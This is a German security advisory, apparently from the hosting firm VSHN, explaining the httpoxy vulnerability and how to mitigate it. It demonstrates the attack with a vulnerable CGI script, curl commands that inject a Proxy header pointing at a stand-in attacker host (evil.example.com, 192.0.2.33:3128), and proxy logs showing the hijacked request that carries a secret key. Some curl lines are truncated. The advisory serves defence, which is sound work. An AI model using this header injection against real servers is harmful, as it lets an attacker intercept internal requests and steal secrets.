httpoxy: Eine unauffällige HTTP-Kopfzeile führt zur Sicherheitslücke
Am 18. Juli 2016 wurde eine Gruppe von Sicherheitslücken namens httpoxy veröffentlicht. Wir haben Auswirkungen auf unsere eigene Infrastruktur sowie die unserer Kunden bewertet und sind derzeit dabei, Gegenmassnahmen zu ergreifen.
Was ist httpoxy?
httpoxy ist eine Mehrzahl von verwandten Sicherheitslücken, die via Common Gateway Interface (CGI) aufgerufene oder in CGI-ähnlichen Umgebungen laufende Programme betreffen. Jede Kopfzeile einer HTTP-Anfrage (engl. «header») wird vor dem Programmaufruf in eine Umgebungsvariable mit dem Namensschema HTTP_${Name-in-Grossbuchstaben}
gespeichert. Aus User-Agent:
wird beispielsweise HTTP_USER_AGENT
. httpoxy betrifft die Proxy:
-Kopfzeile, die dann in HTTP_PROXY
abgelegt wird.
Die Sicherheitslücke rührt daher, dass die Standardvariable zur Festlegung eines HTTP-Proxies unter Unix-Systemen http_proxy
heisst. Proxies für andere Protokolle werden in nach dem gleichen Schema benannten Variablen übergeben. So definiert ftp_proxy
den Proxy für das File Transfer Protocol (FTP) und gopher_proxy
für Gopher.
Unix, Windows und die Unterscheidung von Gross- und Kleinschreibung
Der grösste Teil der VSHN-Infrastruktur und unserer Kunden laufen mit Unix-kompatiblen Systemen, vorallem Linux. Diese Systeme unterscheiden bei Umgebungsvariablen bzw. deren Namen zwischen Gross- und Kleinschreibung. Andere Systeme, darunter Microsoft Windows®, tun dies nicht.
$ http_proxy=lower HTTP_PROXY=upper \
> bash -c 'echo "$HTTP_PROXY" "$http_proxy"'
upper lower
Leider halten sich nicht alle Programme und Bibliotheken an diese plattform-spezifische Konvention. Die Python-Bibliothek requests beispielsweise liest auch auf Unix-Systemen einen Proxy aus HTTP_PROXY
, obwohl die Standardvariable http_proxy
heisst:
$ http_proxy=http://proxy.example.net HTTP_PROXY=evil.example.com \
> python3 -c 'import logging, requests;
> logging.basicConfig(level=logging.NOTSET);
> requests.get("https://vshn.ch")'
INFO:urllib3.connectionpool:Starting new HTTP connection (1): evil.example.com
[…]
Demzufolge können interne Abfragen einer Webseite umgeleitet werden, wenn durch externe Faktoren die HTTP_PROXY
-Variable kontrolliert werden kann, wie dies durch httpoxy beschrieben wird.
$ curl -v --header 'Proxy: evil.example.com'
[…]
> GET / HTTP/1.1
[…]
> Proxy:
[…]
Angenommen, die URL wird durch via CGI, FastCGI oder eine ähnliche Technologie aufgerufenen Code behandelt, so wird dieser eine Umgebungsvariable namens HTTP_PROXY
mit dem Wert erhalten. Interne Abfragen werden dann über ebendiesen Proxy geleitet, wenn die verwendeten Bibliotheken verwundbar sind.
Die httpoxy-Webseite listet weitere Beispiele und sog. CVEs. Mit grosser Wahrscheinlichkeit werden in den kommenden Stunden, Tagen und Wochen weitere gefunden werden.
Demonstration aus der Praxis
Man nehme ein herkömmliches CGI-Skript:
#!/usr/bin/python3
import os
import requests
print("Status: 200")
print("Content-type: text/plain")
print()
print(dict((k, v) for (k, v) in os.environ.items() if k.lower() == "http_proxy"))
print("---")
url = "http://backend.example.com/?secret_key=lZLx60gP"
try:
print(requests.get(url).text)
except Exception as err:
print("Error: {}".format(err))
Angenommen eine Angreiferin kontrolliert einen HTTP-Proxy mit der IP-Adresse 192.0.2.33
und Port 3128 (der Standardport des Proxy-Servers Squid) macht eine HTTP-Anfrage wie folgend:
curl -H 'Proxy: ' -v
Die resultierende interne Abfrage wird durch den von der Angreiferin kontrollierten Proxy geleitet. Ein Auszug aus den Logdateien des Proxy-Servers:
TCP_MISS/504 1617 GET - DIRECT/backend.example.com text/html
In diesem Fall ist die Beispiel-URL ungültig und der Proxy liefert eine Fehlermeldung zurück:
$ curl -H 'Proxy: ' -v
[…]
> GET /cgi-bin/contact.py HTTP/1.1
> User-Agent: curl/7
> Accept: */*
> Proxy:
>
< HTTP/1.1 200 OK
< Date: Mon, 25 Jul 2016 13:58:50 GMT
< Content-Type: text/plain
<
{'HTTP_PROXY': 'http://192.0.2.33:3128'}
---
[…]
<p>The following error was encountered while trying to retrieve the URL:
<a href="http://backend.example.com/?">http://backend.example.com/?</a></p>
[…]
In der Realität könnte der Proxy den in der URL enthaltenen Schlüssel speichern und hätte die vollständige Kontrolle über die Antwort.
Schadensminderung
Es wird eine Weile dauern, bis alle Applikationen und Bibliotheken aktualisiert und diese verbesserten Versionen in den Produktiveinsatz gebracht wurden. Bis dahin sollten HTTP-Server sämtliche Proxy
-Kopfzeilen entfernen. Dies sollte keinen Einfluss auf die Funktion von Webseiten oder Applikationen haben, denn Proxy
ist weder von der IETF definiert noch im IANA-Verzeichnis für Nachrichtenkopfzeilen gelistet, also nicht standardisiert. Seit mindestens 1996 bis zur Aufhebung der Empfehlung mit RFC 6648 im Jahr 2012 mussten eigene Kopfzeilen mit einem X-
-Präfix versehen sein.
Manchmal werden Applikationen von Drittanbieter mit alten und somit verwundbaren Bibliotheken oder unsicheren Konfigurationen ausgeliefert. Auch hier ist es wichtig, eine Schadensminderung umzusetzen.
Die httpoxy-Webseite hat eine Anzahl von Konfigurationsbeispielen veröffentlicht, mit denen Proxy
-Kopfzeilen in diversen HTTP-Servern und verwandten Programmen entfernt werden können. Ebenso bietet die Webseite Beispiele für Applikations- und Bibliotheksentwickler.
Schlussfolgerung
Wir empfehlen, HTTP-Server und sog. Reverse-Proxies so zu konfigurieren, dass sie sämtliche Proxy
-Kopfzeilen zu entfernen. Es schadet dabei nicht, dies auch mehrfach im Verlauf einer HTTP-Anfrage zu tun.
Die Sicherheitslücke ist jetzt öffentlich und es ist nur eine Frage der Zeit, bis diese für automatisierte und gezielte Angriffe ausgenutzt wird.
Auch wenn eine Webseite oder Applikation heute nicht anfällig ist–und schon das ist schwierig abzuklären–so wird sie es vielleicht in der Zukunft. Nicht alle Projekte halten ihre Abhängigkeiten von Drittanbietern aktuell.